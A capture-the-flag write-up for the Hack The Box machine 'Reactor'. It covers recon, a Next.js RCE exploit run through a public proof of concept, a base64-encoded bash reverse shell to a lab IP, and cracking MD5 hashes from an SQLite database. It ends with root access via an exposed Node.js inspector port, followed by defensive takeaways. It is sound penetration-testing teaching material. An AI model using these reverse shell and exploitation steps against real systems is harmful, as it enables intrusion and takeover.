shreekara@kali:~/blog/reactor$
$catreactor.md

HTB Write-Up: Reactor

PlatformHack The Box
DifficultyEasy
OSLinux
Authorshreekara
DateMay 24, 2026
Sourcegithub.com/ShreekaraKedlaya/Hackthebox-writeups

Table of Contents

1. Reconnaissance
2. Enumeration — ReactorWatch Dashboard & Version Fingerprinting
3. Initial Access — CVE-2025-55182 (React2Shell RCE)
4. Lateral Movement — SQLite Credential Extraction & Hash Cracking
5. Privilege Escalation — Node.js Debug Port Hijacking
6. Summary & Takeaways

1. Reconnaissance

Starting with a full port scan to get an idea of what's exposed:

$nmap-sC -sV -O -T4 10.129.6.0

Only two ports came back:

PortServiceDetails
22SSHOpenSSH 9.6p1 (Ubuntu)
3000HTTPNext.js — ReactorWatch application

Pretty minimal attack surface. SSH is usually a dead end without creds, so port 3000 is where the focus needs to be.


2. Enumeration — ReactorWatch Dashboard & Version Fingerprinting

2.1 — Web Application Fingerprinting

Ran WhatWeb first to fingerprint the stack quickly:

$whatweb10.129.6.0:3000
http://10.129.6.0:3000 [200 OK] HTML5, Title[ReactorWatch | Core Monitoring System],
UncommonHeaders[x-nextjs-cache,x-nextjs-prerender,x-nextjs-stale-time], X-Powered-By[Next.js]

The app is called ReactorWatch — a nuclear reactor core monitoring dashboard. More importantly, the X-Powered-By header and the Next.js-specific response headers confirm it's running Next.js 15.0.3. That version number is going to matter.

2.2 — Unauthenticated Dashboard

Navigating to http://10.129.6.0:3000 — no login, no auth, nothing. The dashboard just loads and immediately starts leaking information.

Reactor telemetry (live, unauthenticated):

Core StatusReactor Power 98.2%, Criticality 1.0002 (WARNING)
Core Temp324°C
Pressure155 bar
Coolant Flow18.4k m³/h (CAUTION)
Turbine Output1.21 GW

On-site personnel — also just... listed there:

NameRoleStatus
Dr. Elena RodriguezLead Nuclear EngineerONLINE
Marcus KimSenior TechnicianONLINE
James ThompsonSafety OfficerOFFLINE

Even if there was no direct exploit here, this is terrible from a security standpoint. Personnel names, roles, and live operational data — all public. Good recon material either way.

2.3 — Directory Enumeration

Threw Feroxbuster at it to find any hidden paths:

$feroxbuster-u http://10.129.6.0:3000 -C 404 --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt

One oddity came up:

308  GET  http://10.129.6.0:3000/cgi-bin/ => http://10.129.6.0:3000/cgi-bin

A /cgi-bin/ on a Next.js app doesn't make much sense — probably a red herring or misconfiguration. Noted it and moved on, since the more interesting angle was the framework version itself.

2.4 — CVE Research

A quick search on Next.js 15.0.3 turns up CVE-2025-55182, sometimes called React2Shell. It's a critical unauthenticated RCE via prototype pollution and unsafe deserialization in the React Server Components handler. The attack vector is injecting a malicious payload through the Next-Action header. No auth needed, which makes this very clean.


3. Initial Access — CVE-2025-55182 (React2Shell RCE)

3.1 — How the Vulnerability Works

The RSC handler in Next.js 15.0.3 doesn't properly sanitize the Next-Action header. By crafting a payload that exploits prototype pollution combined with unsafe deserialization, an attacker can get arbitrary OS command execution on the server. The service doesn't need to be authenticated — the vulnerable endpoint is reachable by anyone.

3.2 — Confirming RCE

Used a public Python PoC to verify execution before going for a shell:

$python3exploit.py --url http://10.129.6.0:3000 --cmd whoami
Success
node
$python3exploit.py --url http://10.129.6.0:3000 --cmd pwd
Success
/opt/reactor-app

Running as node (uid=999) — low-privileged, but enough to start moving.

3.3 — Getting a Shell

Base64-encoded the reverse shell to avoid issues with quoting and special characters in the command argument:

$echo'bash -i >& /dev/tcp/10.10.16.194/9001 0>&1' | base64 -w 0

Set up the listener:

$rlwrap nc-lnvp 9001

Fired the payload:

$python3exploit.py --url http://10.129.6.0:3000 --cmd "echo <base64-payload> | base64 -d | bash"

Shell landed:

connect to [10.10.16.194] from (UNKNOWN) [10.129.6.0]
node@reactor:/opt/reactor-app$

4. Lateral Movement — SQLite Credential Extraction & Hash Cracking

4.1 — Poking Around the App Directory

First thing to do after getting a shell — enumerate the application files:

$ls-la /opt/reactor-app

Two files immediately stood out:

FileNotes
.envApplication environment configuration
reactor.dbSQLite database — readable by the node user

An SQLite database sitting right in the app directory, readable by the current user. That's almost always going to have something useful.

4.2 — Dumping the Database

$sqlite3/opt/reactor-app/reactor.db
sqlite> .tables
sqlite> SELECT * FROM users;

1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Two accounts with what look like MD5 hashes. MD5 is weak, so these should crack fast.

4.3 — Cracking the Hashes

Focused on the engineer hash since that account is more likely to have SSH access:

$john--wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
reactor1        (?)
1g 0:00:00:00 DONE 50.00g/s 16857Kp/s

Cracked instantly. Credentials: engineer:reactor1

4.4 — SSH as Engineer

$sshengineer@10.129.6.0
Logged in without any issues.

User flag is at /home/engineer/user.txt.


5. Privilege Escalation — Node.js Debug Port Hijacking

5.1 — Checking Internal Services

With a proper shell as engineer, time to look for anything listening internally that wasn't visible from outside:

$ss-tulnp
tcp  LISTEN  0  511  127.0.0.1:9229  0.0.0.0:*

Port 9229 on localhost — that's the standard Node.js V8 Inspector port. When a Node.js process is started with --inspect, it opens this port and allows anyone who can reach it to attach a debugger and run arbitrary JavaScript. If the process running it is privileged, that's a direct path to root.

5.2 — Identifying the Process

$cat/opt/uptime-monitor/worker.js

It's a Node.js uptime monitoring worker that pings the ReactorWatch app every 30 seconds. Crucially — it's running as root and was started with --inspect, which is why 9229 is open. Classic misconfiguration: a maintenance script that no one thought twice about running as root.

5.3 — Forwarding the Debug Port

The port is only accessible from localhost on the target, so an SSH tunnel gets it to the attacking machine:

$ssh-L 9229:127.0.0.1:9229 engineer@10.129.6.0

Now 127.0.0.1:9229 locally maps directly to the Node.js debugger on the target.

5.4 — Connecting to the Debugger

$node inspect127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>

5.5 — RCE as Root

require doesn't work directly in this context, but process.mainModule.require does — it reaches the module system through the already-loaded main module:

debug>exec("process.mainModule.require('child_process').execSync('id').toString()")
'uid=0(root) gid=0(root) groups=0(root)\n'

Running as root. From here, a root shell gets sent back the same way, and a listener catches it:

$nc-lnvp 9002
connect to [10.10.16.194] from (UNKNOWN) [10.129.6.0]
root@reactor:~#

Root flag is at /root/root.txt.


6. Summary & Takeaways

Attack Chain

PhaseTechniqueResult
Reconnmap -APorts 22, 3000 identified
FingerprintingWhatWeb + headersNext.js 15.0.3 → CVE-2025-55182
Initial AccessReact2Shell — Next-Action header injectionShell as node
Credential ExtractionSQLite DB dump → MD5 hashesengineer:reactor1
Hash CrackingJohn the Ripper + rockyou.txtPassword cracked instantly
Lateral MovementSSH with cracked credentialsShell as engineer + user flag
Privilege EscalationNode --inspect → SSH tunnel → mainModule.requireRoot shell + root flag

What I Took Away From This Box

Don't expose dashboards without authentication, even "read-only" ones. The unauthenticated ReactorWatch panel handed over personnel names and the full technology stack. That info directly led to the right CVE. Operational dashboards should always be behind auth.

Version headers are free recon for attackers. The X-Powered-By: Next.js header made version fingerprinting trivial. Stripping those headers won't stop a determined attacker, but it removes the easy path.

SQLite databases in app directories are credential goldmines. If a web app ships with a readable database file containing password hashes, that's credentials left exactly where an attacker will look first. Secrets belong outside the web root with tight file permissions.

--inspect on a root process is a root shell waiting to happen. The Chrome DevTools Protocol gives full JavaScript execution inside the process — no sandboxing. Any Node.js service running as a privileged user with --inspect active, even bound to localhost, becomes a privilege escalation vector the moment someone gets a low-priv shell and can SSH-tunnel to it. Production services should never run with inspect flags enabled.

< cd ~/blog